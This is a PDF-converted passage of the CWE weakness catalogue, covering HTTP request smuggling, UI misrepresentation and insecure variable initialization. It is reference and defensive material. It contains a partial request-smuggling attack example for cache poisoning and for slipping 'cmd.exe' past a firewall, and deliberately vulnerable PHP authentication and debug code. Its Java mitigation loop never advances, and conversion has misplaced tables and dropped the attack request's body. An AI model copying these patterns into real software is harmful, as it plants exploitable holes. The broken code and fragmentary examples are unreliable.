<td>Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')</td>
<td>699 1193</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>784</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision</td>
<td>699 1205</td>
</tr>
</tbody>
</table>
CWE-443: DEPRECATED (Duplicate): HTTP response splitting

Weakness ID: 443 (Deprecated Weakness Base) Status: Deprecated

Description
Summary
This weakness can be found at CWE-113.

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

Weakness ID: 444 (Weakness Base) Status: Incomplete

Description
Summary
When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to "smuggle" a request to one device without the other device being aware of it.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Integrity
Non-Repudiation
Access Control
Unexpected state
Hide activities
Bypass protection mechanism
An attacker could create a request to exploit a number of weaknesses including 1) the request can trick the web server to associate a URL with another URL's webpage and caching the contents of the webpage (web cache poisoning attack), 2) the request can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the request can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).

Demonstrative Examples
Example 1:
In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com

Attack
When this request is sent to the proxy server, the proxy server parses the POST request in the first seven lines, and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in the next three lines that contain exactly 44 bytes as the first request's body. The proxy then parses the last three lines which it treats as the client's second request.

The request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body, and the second request is the line with the first GET (note that the second GET is parsed by the web server as the value of the "Bla" header).

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client "POST /foobar.html" and "GET /page_to_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page_to_poison.html", and the cache is poisoned! Any client requesting "page_to_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server some protection against this type of attack can be achieved by installing a web application firewall, or use a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

**Java Example:**

```java
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Set up response writer object
    ...
    try {
        // check for multiple content length headers
        Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
        int count = 0;
        while (contentLengthHeaders.hasMoreElements()) {
            count++;
        }
        if (count > 1) {
            // output error response
        } else {
            // process request
        }
    } catch (Exception ex) {...}
}
```

**Example 2:**

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system.

```text
POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```
When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2088</td>
<td>Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.</td>
</tr>
<tr>
<td>CVE-2005-2089</td>
<td>Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.</td>
</tr>
<tr>
<td>CVE-2005-2090</td>
<td>Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.</td>
</tr>
<tr>
<td>CVE-2005-2091</td>
<td>Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.</td>
</tr>
<tr>
<td>CVE-2005-2092</td>
<td>Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.</td>
</tr>
<tr>
<td>CVE-2005-2093</td>
<td>Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.</td>
</tr>
<tr>
<td>CVE-2005-2094</td>
<td>Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Implementation**

Use a web server that employs a strict HTTP parsing procedure, such as Apache [R.444.1].

**Implementation**

Use only SSL communication.

**Implementation**

Terminate the client session after each request.

**System Configuration**

Turn all pages to non-cacheable.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>436</td>
<td>Interpretation Conflict</td>
<td>751</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>442</td>
<td>Web Problems</td>
<td>757</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1392</td>
</tr>
</tbody>
</table>
Theoretical Notes
Request smuggling can be performed due to a multiple interpretation error, where the target is an intermediary or monitor, via a consistency manipulation (Transfer-Encoding and Content-Length headers).

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>HTTP Request Smuggling</td>
</tr>
<tr>
<td>WASC</td>
<td>26</td>
<td>HTTP Request Smuggling</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>33</td>
<td>HTTP Request Smuggling</td>
<td></td>
</tr>
<tr>
<td>105</td>
<td>HTTP Request Splitting</td>
<td></td>
</tr>
</tbody>
</table>

References

---

### CWE-445: DEPRECATED: User Interface Errors

**Category ID:** 445 *(Deprecated Category)*

**Status:** Deprecated

**Description**

**Summary**
This weakness has been deprecated because it was a duplicate of CWE-355. All content has been transferred to CWE-355.

### CWE-446: UI Discrepancy for Security Feature

**Weakness ID:** 446 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**
The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

**Extended Description**
When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a "restrict ALL" access control rule, but the software only implements "restrict SOME".

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Other**

**Varies by context**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1446</td>
<td>UI inconsistency; visited URLs list not cleared when &quot;Clear History&quot; option is selected.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>355</td>
<td>User Interface Security Issues</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-447: Unimplemented or Unsupported Feature in UI

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>996</td>
<td>SFP Secondary Cluster: Security</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>447</td>
<td>Unimplemented or Unsupported Feature in UI</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>448</td>
<td>Obsolete Feature in UI</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>449</td>
<td>The UI Performs the Wrong Action</td>
<td>699</td>
</tr>
</tbody>
</table>

Relationship Notes
This is often resultant.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>User interface inconsistency</td>
</tr>
</tbody>
</table>

Maintenance Notes
This node is likely a loose composite that could be broken down into the different types of errors that cause the user interface to have incorrect interactions with the underlying security feature.

CWE-447: Unimplemented or Unsupported Feature in UI

Weakness ID: 447 (Weakness Base) Status: Draft

Description

Summary
A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms
Languages
• All

Common Consequences

Other
Varies by context

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0127</td>
<td>GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file.</td>
</tr>
<tr>
<td>CVE-2001-0863</td>
<td>Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.</td>
</tr>
<tr>
<td>CVE-2001-0865</td>
<td>Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.</td>
</tr>
<tr>
<td>CVE-2004-0979</td>
<td>Web browser does not properly modify security setting when the user sets it.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Testing
Perform functionality testing before deploying the application.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>671</td>
<td>Lack of Administrator Control over Security</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>995</td>
<td>SFP Secondary Cluster: Feature</td>
<td>888</td>
</tr>
</tbody>
</table>

Research Gaps

762
This issue needs more study, as there are not many examples. It is not clear whether it is primary or resultant.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Unimplemented or unsupported feature in UI</td>
</tr>
</tbody>
</table>

### CWE-448: Obsolete Feature in UI

**Weakness ID:** 448 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**

A UI function is obsolete and the product does not warn the user.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Other
  - Quality degradation
  - Varies by context

**Potential Mitigations**

**Architecture and Design**

Remove the obsolete feature from the UI. Warn the user that the feature is no longer supported.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>![V]</td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>![C]</td>
<td>995</td>
<td>SFP Secondary Cluster: Feature</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Obsolete feature in UI</td>
</tr>
</tbody>
</table>

### CWE-449: The UI Performs the Wrong Action

**Weakness ID:** 449 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**

The UI performs the wrong action with respect to the user’s request.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Other
  - Quality degradation
  - Varies by context

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0081</td>
<td>Command line option correctly suppresses a user prompt but does not properly disable a feature, although when the product prompts the user, the feature is properly disabled.</td>
</tr>
<tr>
<td>CVE-2001-1387</td>
<td>Network firewall accidentally implements one command line option as if it were another, possibly leading to behavioral infoleak.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-450: Multiple Interpretations of UI Input

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1977</td>
<td>Product does not &quot;time out&quot; according to user specification, leaving sensitive data available after it has expired.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Testing**

Perform extensive functionality testing of the UI. The UI should behave as specified.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
<td>699 761</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>995</td>
<td>SFP Secondary Cluster: Feature</td>
<td>888 1396</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>The UI performs the wrong action</td>
</tr>
</tbody>
</table>

### CWE-450: Multiple Interpretations of UI Input

**Weakness ID:** 450 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Other
  - Varies by context

**Potential Mitigations**

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**
CWE-451: User Interface (UI) Misrepresentation of Critical Information

**Description**

**Summary**
The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

**Extended Description**
If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

- Incorrect indicator: incorrect information is displayed, which prevents the user from understanding the true state of the software or the environment the software is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.
- Overlay: an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.
- Icon manipulation: the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)
- Timing: the software is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.
- Visual truncation: important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe"). A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.
- Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.
- Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a
visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Non-Repudiation**

**Access Control**

**Hide activities**

**Bypass protection mechanism**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0398</td>
<td>Attachment with many spaces in filename bypasses &quot;dangerous content&quot; warning and uses different icon. Likely resultant.</td>
</tr>
<tr>
<td>CVE-2001-0643</td>
<td>Misrepresentation and equivalence issue.</td>
</tr>
<tr>
<td>CVE-2001-1410</td>
<td>Visual distinction: Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method.</td>
</tr>
<tr>
<td>CVE-2002-0197</td>
<td>Visual distinction: Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate.</td>
</tr>
<tr>
<td>CVE-2002-0722</td>
<td>Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialogue box.</td>
</tr>
<tr>
<td>CVE-2003-1025</td>
<td>Visual truncation: Special character in URL causes web browser to truncate the user portion of the &quot;user@domain&quot; URL, hiding real domain in the address bar.</td>
</tr>
<tr>
<td>CVE-2004-0537</td>
<td>Overlay: Wide &quot;favorites&quot; icon can overlay and obscure address bar.</td>
</tr>
<tr>
<td>CVE-2004-0761</td>
<td>Incorrect indicator: Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted.</td>
</tr>
<tr>
<td>CVE-2004-1104</td>
<td>Incorrect indicator: web browser can be tricked into presenting the wrong URL.</td>
</tr>
<tr>
<td>CVE-2004-2219</td>
<td>Incorrect indicator: Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar.</td>
</tr>
<tr>
<td>CVE-2004-2227</td>
<td>Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions.</td>
</tr>
<tr>
<td>CVE-2004-2258</td>
<td>Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab.</td>
</tr>
<tr>
<td>CVE-2005-0143</td>
<td>Incorrect indicator: Lock icon displayed when an insecure page loads a binary file loaded from a trusted site.</td>
</tr>
<tr>
<td>CVE-2005-0144</td>
<td>Incorrect indicator: Secure &quot;lock&quot; icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel.</td>
</tr>
<tr>
<td>CVE-2005-0243</td>
<td>Visual truncation: Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions.</td>
</tr>
<tr>
<td>CVE-2005-0590</td>
<td>Visual truncation: Dialog box in web browser allows user to spoof the hostname via a long &quot;user-pass&quot; sequence in the URL, which appears before the real hostname.</td>
</tr>
<tr>
<td>CVE-2005-0593</td>
<td>Lock spoofing from several different weaknesses.</td>
</tr>
<tr>
<td>CVE-2005-0831</td>
<td>Visual distinction: Product allows spoofing names of other users by registering with a username containing hex-encoded characters.</td>
</tr>
<tr>
<td>CVE-2005-1575</td>
<td>Visual truncation: Web browser file download type can be hidden using whitespace.</td>
</tr>
<tr>
<td>CVE-2005-1678</td>
<td>Miscellaneous -- Dangerous file extensions not displayed.</td>
</tr>
<tr>
<td>CVE-2005-2271</td>
<td>Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. &quot;origin validation error&quot; of a sort?</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-452: Initialization and Cleanup Errors

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2272</td>
<td>Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. &quot;origin validation error&quot; of a sort?</td>
</tr>
<tr>
<td>CVE-2005-2273</td>
<td>Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. &quot;origin validation error&quot; of a sort?</td>
</tr>
<tr>
<td>CVE-2005-2274</td>
<td>Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. &quot;origin validation error&quot; of a sort?</td>
</tr>
<tr>
<td>OSVDB:5703</td>
<td>Overlay: GUI overlay can trick a user into clicking on a prompt for a dangerous activity.</td>
</tr>
<tr>
<td>OSVDB:6009</td>
<td>Visual truncation: web browser obscures URLs using a large amount of whitespace.</td>
</tr>
</tbody>
</table>

Potential Mitigations

**Implementation**

*Input Validation*

Perform data validation (e.g. syntax, length, etc.) before interpreting the data.

**Architecture and Design**

*Output Encoding*

Create a strategy for presenting information, and plan for how to display unusual characters.

Research Gaps

Misrepresentation problems are frequently studied in web browsers, but there are no known efforts for classifying these kinds of problems in terms of the shortcomings of the interface. In addition, many misrepresentation issues are resultant.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>UI Misrepresentation of Critical Information</td>
</tr>
</tbody>
</table>

References


Maintenance Notes

This entry could be broken down into smaller entries. It is probably more like a Class than a Base.

CWE-452: Initialization and Cleanup Errors

**Category ID:** 452 *(Category)*

**Status:** Draft

**Description**

**Summary**

Weaknesses in this category occur in behaviors that are used for initialization and breakdown.

**Applicable Platforms**

Languages

- All

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
<td>699</td>
</tr>
</tbody>
</table>

767
CWE Version 2.11
CWE-453: Insecure Default Variable Initialization

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>455</td>
<td>Non-exit on Failed Initialization</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>459</td>
<td>Incomplete Cleanup</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>665</td>
<td>Improper Initialization</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>908</td>
<td>Use of Uninitialized Resource</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>909</td>
<td>Missing Initialization of Resource</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>910</td>
<td>Use of Expired File Descriptor</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>911</td>
<td>Improper Update of Reference Count</td>
<td>699</td>
</tr>
</tbody>
</table>

Research Gaps
Most of these initialization errors are significant factors in other weaknesses. Researchers tend to ignore these, concentrating instead on the resultant weaknesses, so their frequency is uncertain, at least based on published vulnerabilities.

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Initialization and Cleanup Errors</td>
</tr>
</tbody>
</table>

### CWE-453: Insecure Default Variable Initialization

**Weakness ID:** 453 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**
The software, by default, initializes an internal variable with an insecure or less secure value than is possible.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**
- Languages
  - PHP *(Sometimes)*
  - All

**Common Consequences**
- **Integrity**
  - Modify application data
    - An attacker could gain access to and modify sensitive data or system information.

**Demonstrative Examples**

This code attempts to login a user using credentials from a POST request:

**PHP Example:**

```php
// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
    $authorized = true;
} ...
if ($authorized) {
    generatePage();
}
```

Because the $authorized variable is never initialized, PHP will automatically set $authorized to any value included in the POST request if register_globals is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:
PHP Example:

```php
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
    $authorized = true;
}
...```

This code avoids the issue by initializing the $authorized variable to false and explicitly retrieving the login credentials from the $_POST variable. Regardless, register_globals should never be enabled and is disabled by default in current versions of PHP.

Potential Mitigations

System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>665</td>
<td>Improper Initialization</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☒</td>
<td>966</td>
<td>SFP Secondary Cluster: Other Exposures</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☒</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Insecure default variable initialization</td>
</tr>
</tbody>
</table>

Maintenance Notes

This overlaps other categories, probably should be split into separate items.

CWE-454: External Initialization of Trusted Variables or Data Stores

Weakness ID: 454 (Weakness Base)

Description

Summary

The software initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.

Extended Description

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages

• PHP (Sometimes)
• Language-independent

Platform Notes

Common Consequences
Integrity
Modify application data
An attacker could gain access to and modify sensitive data or system information.

Demonstrative Examples
Example 1:
In the Java example below, a system property controls the debug level of the application.

Java Example:
```java
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();
```

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

Example 2:
This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

PHP Example:
```php
$debugEnabled = false;
if ($_POST["debug"] == "true"){
    $debugEnabled = true;
}
```

Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system.

This example also exhibits Information Exposure Through Debug Information (CWE-215)

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0959</td>
<td>Does not clear dangerous environment variables, enabling symlink attack.</td>
</tr>
<tr>
<td>CVE-2001-0033</td>
<td>Specify alternate configuration directory in environment variable, enabling untrusted path.</td>
</tr>
<tr>
<td>CVE-2001-0084</td>
<td>Specify arbitrary modules using environment variable.</td>
</tr>
<tr>
<td>CVE-2001-0872</td>
<td>Dangerous environment variable not cleansed.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Input Validation
A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

Architecture and Design
Avoid any external control of variables. If necessary, restrict the variables that can be modified using a whitelist, and use a different namespace or naming convention if possible.

Relationships

<table>
<thead>
<tr>
<th>NatureOf</th>
<th>Type</th>
<th>ID</th>
